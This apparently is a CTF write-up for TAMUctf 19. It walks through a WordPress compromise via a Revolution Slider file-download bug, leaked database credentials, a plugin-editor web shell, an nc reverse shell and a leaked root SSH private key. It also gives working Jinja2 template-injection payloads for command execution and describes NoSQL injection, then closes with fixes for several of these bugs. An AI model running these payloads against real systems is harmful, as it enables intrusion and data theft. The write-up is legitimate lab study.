TAMUctf 19


Menu


Stop and Listen

Description:
Sometimes you just need to stop and listen.
This challenge is an introduction to our network exploit challenges, which are hosted over OpenVPN.
The standard subnet is 172.30.0.0/28, so give that a scan ;)
Link: https://tamuctf.com/naumachia/config/53 (must log in)


If you scan the whole 172.30.0.0/28 subnet, you will only see 2 live IPs: 172.30.0.2 (with nothing special) and 172.30.0.14 (your own IP).
But take a look at the challenge's name, "Stop and Listen". Let's use Wireshark to capture packets in the tap0 interface, you can see a lot of UDP packets (and only them). Finally, search through the UDP packets' data for "gigem" and the flag appears:

Wordpress

Description:
I setup my own Wordpress site!
I love that there are so many plugins. My favorite is Revolution Slider. Even though it's a little old it doesn't show up on wpscan!
Please give it about 30 seconds after connecting for everything to setup correctly.
The flag is in /root/flag.txt
Link: https://tamuctf.com/naumachia/config/64 (must log in)

First, I scaned the 172.30.0.0/28 subnet by nmap and found out:
Discovered open port 3306/tcp on 172.30.0.2
Discovered open port 80/tcp on 172.30.0.3
Discovered open port 22/tcp on 172.30.0.3
  
So, 172.30.0.3 is the IP of the web server and IP 172.30.0.2 is a MySQL server, both of them are Ubuntu.
The web server ran WordPress versions 5.1, it's maybe hard to be exploited these days. But the description told something about Revolution Slider, let's google to find some public exploits about it. The first result I saw was an "arbitrary file download" vulnerability. Using it, I could download the wp-config.php file, which holds the base configuration of WordPress.
Inside the wp-config.php file, I saw all the database's credentials:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', '0NYa6PBH52y86C');

/** MySQL hostname */
define('DB_HOST', '172.30.0.2');

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
  
It turned out that the WordPress site uses 172.30.0.2 as a database server. If you use mysql cli in terminal, let connect to it by this command:
mysql -h 172.30.0.2 -u wordpress -p
  
I extracted the wp_users table:
No need to crack the admin's password hash when you can overwrite it by your own.
My password above is 123456. Let's went back to the WordPress site and logged in as admin. Although this Revolution Slider version (3.0.95) also has an upload-shell vulnerability, I preferred to use the plugin editor to directly write PHP code inside a plugin.
Taking advantage of the plugin itself, I had a web shell at http://172.30.0.3/wp-content/plugins/akismet/akismet.php, then I uploaded an nc (traditional version, because it has -e option) to the server to make a reverse shell (you can use bash directly or fsockopen in PHP instead). Next, I listened on my computer and spawn a tty by python:
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
tty
not a tty

python -c 'import pty;pty.spawn("/bin/bash")'
www-data@apacheword:/var/www/wp-content/plugins/akismet$ tty
tty
/dev/pts/1
www-data@apacheword:/var/www/wp-content/plugins/akismet$
  
If you do not want to use python, let take a look at https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
I managed to enumerate all services, tried to escalate privilege but not success. Almost giving up, I bumped into a file named note.txt at /var/www/, the file contains only one line: "Your ssh key was placed in /backup/id_rsa on the DB server.". Maybe it refers to the root's ssh key, so I went back to the MySQL server at 172.30.0.2:
mysql> select load_file('/backup/id_rsa');

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3Z35DpTcnm4kFkkGp6iDXqvUNH+/+hSDOY6rXsa40WMr7rjc
tHh8TgOBFZ6Rj5VzU/jY8O0qHxiPVn7BCYKhqyp1V1l9/ZCPRSjRLYy62dVTiHUt
ZbiPiY9+biHIsQ/nZfwiHmwlb0sWDoyFvX3OL/3AFMcYpZ4ldHQuwszJF4DeTV33
ruSBoXIiICQyNJBHTboVel+WXAfMNumYMVNrtrwpNoD7whv9Oa2afUejXMJL42Rw
8Xhab59HIIL9fl68FqgggVI4X3d/fzqKKGyoN5JxBLmQTCiVxhxTMv9OS0MhdSg6
Nh3+lf/wUuweUQXqmohvETntwwGs8jnJGCyeDwIDAQABAoIBAHGVRpG/n/cfMiWt
1dhWGMaLwJ4Ln6QXoU39nj1cEltWvayDWLKyUdtWFnGzLJ1vloVCNEX+96iqWMSX
AG7UYfGtOCjFuDoePh/PFK6IwzdkC4UTsWnCFucFAWKGtCpzoUB24jG/ccxBqpNY
WC9PbD7SigDcLfisPjwaU+EJPkNpl93VBk1BCJRbvWF+Wl/si3wmMZ0YRoyIAF5L
oBsq935xH8kJcixSVYKjG3hMUZfiLoQB+p/IFsxDlfGLE+M1esTZ5GIRjj+t7vBN
l2JZTY893gjfQzUv2WrJXzMhJvWGzOCsRRc4gOSeS6GYiip8glqg8iWHpWdgF6i9
oAQx5pkCgYEA7oTmvy0cXvhPjkEbrizCCqf6sXfZps5e6eminTTBGA8NW/Uq+SQv
5JEYxvIL+qMH6cKkc8rBaNhgy3vnv+UgE1PUFI0UWFGKb+OpzzvY/zkmf03enxrl
SK+QXH4FS9f7leivZRVEWBq1kDVIqHZtybYGg0etOvHYX0GwqV2UTy0CgYEA7dv0
bxz6CO9bhxxpXRrrykX2Z57J3JW2I3yVkCY+4Y6x106K11X+b1547kEZk40i2Ugc
iE6jcYIRiYNiSgb0Ph4uxZHFlvBr8JA2fGHYIAnGRcoc1Gzgz5omRvU9H8uy5ipO
LyZ2dnMgXRVOjuXoN4UZR2rgWmJVLD1q7eKnh6sCgYAnVOUUC2VNR9celx/wZdMN
nMubLi9G8Wr3WZ6GG+fnhrvmORSABvaa005pqApPp0irxHwH2BxypJO5mlIJ88eJ
SF6FkQoU0kVo0/rxgGX1GEB/56BZTj8W8FR23BUVf6UuADPEEHC3spfUEuVLWlQa
WhjS1yP6v1y1wIhYNWU6dQKBgQDbZ1zdcXkh7MgcpRR7kW2WM1rK0imZk29i5HSB
dwXhwWJCHGztnKEJ0bby7pHNDQ7sJhxLj14sQbIzikGLz0ZUVjsGeyQryrGGQUBB
E2/sfZeqoHhfad8lICfWpDgxsA/hR3y++VekgyWDNzgzj9bX/6oFuowgUzwFhtGv
hLbL6QKBgQCvcDMmWs2zXwmIo1+pIHUUSv2z3MWb0o1dzHQI/+FJEtyQPwL1nCwg
bJaC0KT45kw0IGVB2jhWf0KcMF37bpMpYJzdsktSAmHdjLKdcr6vw2MNpRapaNQe
On0QmLzbpFr9kjqorinKVkjk/WlTo9rKDSrLiUueEVYTxEMCi92giw==
-----END RSA PRIVATE KEY-----
  
Saved it to a file (remember to chmod 600 it) and use ssh to connect to the web server. Bingo, a root shell spawned and I could read the flag:
root@apacheword:~# id     
uid=0(root) gid=0(root) groups=0(root)
root@apacheword:~# cat /root/flag.txt 
gigem{w0rd_pr3ss_b3st_pr3ss_409186FC8E2A45FE}
root@apacheword:~# 
  

Local News

Description:
Be sure to check your local news broadcast for the latest updates!
Link: https://tamuctf.com/files/ff1dc83797ccb54f513a23b2a6d87648/app.apk

First, let's decompile the apk file. I recommend using jadx-gui because it is very useful and user-friendly. In the Main Activity, the app tries to log a string after deobfuscates (perhaps it is the flag):
package com.tamu.ctf.hidden;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.support.v4.content.LocalBroadcastManager;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import io.michaelrocks.paranoid.Deobfuscator$app$Debug;

public class MainActivity extends AppCompatActivity {
    /* Access modifiers changed, original: protected */
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) R.layout.activity_main);
        BroadcastReceiver hidden = new BroadcastReceiver() {
            public void onReceive(Context context, Intent intent) {
                Log.d(MainActivity.this.getString(R.string.flag), Deobfuscator$app$Debug.getString(0));
            }
        };
        IntentFilter filter = new IntentFilter();
        filter.addAction(getString(R.string.hidden_action));
        LocalBroadcastManager.getInstance(this).registerReceiver(hidden, filter);
    }
}
  
Go to the source code of Deobfuscator$app$Debug, copy it to a Java IDE (for example NetBeans, Eclipse) then fix some syntax bugs at localObject variable (I replaced it to localObject1 in some places) and compile and run:
public class Deobfucate {
 private static final String[] charChunks = { "}18m_hanbed3i{0g" };
   private static final String[] indexChunks = { "\017\f\017\t\003\r\005\f\n\n\t\007\004\002\001\006\t\b\016\001\013\b\t\006\000" };
   private static final String[] locationChunks = { "\000\000\031\000" };
   
   public static String getString(int paramInt)
   {
     int j = paramInt / 4096;
     int i = paramInt % 4096;
     int k = (paramInt + 1) / 4096;
     paramInt = (paramInt + 1) % 4096;
     Object localObject = locationChunks[j];
     String str = locationChunks[k];
     j = ((String)localObject).charAt(i * 2);
     i = (((String)localObject).charAt(i * 2 + 1) & 0xFFFF) << '\020' | j & 0xFFFF;
     j = str.charAt(paramInt * 2);
     j = (str.charAt(paramInt * 2 + 1) << '\020' | j) - i;
     char[] localObject1 = new char[j];
     paramInt = 0;
     while (paramInt < j)
     {
       k = i + paramInt;
       int m = k / 8192;
       k = indexChunks[m].charAt(k % 8192) & 0xFFFF;
       m = k / 8192;
       localObject1[paramInt] = charChunks[m].charAt(k % 8192);
       paramInt += 1;
     }
     return new String((char[])localObject1);
   }
   public static void main(String[] args) {
    System.out.println(Deobfucate.getString(0));
   }
}

  
The paramInt parameter is 0 because it was hinted in the Main Activity.
The flag is gigem{hidden_81aeb013bea}.

Science!

Link: http://web3.tamuctf.com
The website uses the Flask framework. It runs on Python and was infamous for its template injection.
The most common payload to check whether it is vulnerable is {{7*7}}, let's insert it into one of two input, then the site responses "The result of combining 49 and is:".
So, it is vulnerable. Next, you can check {{7*'7'}} and it returns "The result of combining 7777777 and is:". Now, you can determine it use Jinja2 as a template.
Let's use {{config}} to get some information about the running framework:
Nothing valuable, you have to make a web shell to find the flag in the server's file system. Use these payloads in sequence and the third is the one execute your command:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
{{ config['RUNCMD']('id',shell=True) }}
  
For more payload or want to make a reverse shell, visit https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#remote-code-execution.
The flag is in the flag.txt file: gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}.

Login App

Link: http://web4.tamuctf.com

This site has a "bait" login button. Every time you click the login button, it only makes a GET request without any parameters.
But at the end of the source code, you can see a script that registers a handler to the login button:
$("#submit").on('click', function(){
    $.ajax({
        url: 'login', 
        type : "POST", 
        dataType : 'json', 
        data : JSON.stringify({"username": $("#username").val(), "password": $("#password").val()}),
        contentType: 'application/json;charset=UTF-8',
        success : function(result) {
            $(".result").html(result);
            console.log(result);
            alert(result);
        },
        error: function(xhr, resp, text) {
            $(".result").html("Something went wrong"); 
            console.log(xhr, resp, text);
        }
    })
});
  
Now, you can see that the site makes a POST request with JSON data when the user logins. I am too lazy so I copy the code inside the handler ($.ajax...) and paste it in the browser console to make a valid login request.
When trying to get an error message from the site, I see that it uses Node.js, so I think it also uses MongoDB, a NoSQL database.
For NoSQL injection payloads, visit https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20injection.
Finally, I construct a payload that makes the MongoDB server check for a user which has "admin" as username and its password is not null, and the flag appears:

SQL

Link: https://gitlab.tamuctf.com/root/sql

This site is vulnerable to SQL injection due to inserting user data into SQL command and treating them as a part of the command.
If you can isolate the user data and the command context, SQL injection will not be feasible. One of the best solutions is by using a prepared statement.
Commit your code and go to CI/CD -> Jobs -> [your commit] to get the flag: gigem{the_best_damn_sql_anywhere}.

Science

Link: https://gitlab.tamuctf.com/root/science

This site is vulnerable to template injection due to passing unvalidated user data to the render_template_string function.
One solution is not using the render_template_string function, but sometimes you can do that. The more reasonable one is validating user data before passing to the render_template_string.
My method is escaping all "{" and "}" in user data by replacing all of them with their HTML encode form respectively, because the injected code will not be executed while they still are displayed as normal characters on the screen.

Login App2

Link: https://gitlab.tamuctf.com/root/loginapp

This site vulnerable to NoSQL injection due to not validating user data before passing to the API to make the query.
My solution is escaping all double quotes in user data, so the injected code cannot break the data context and execute.

Thank you for reading!

Comments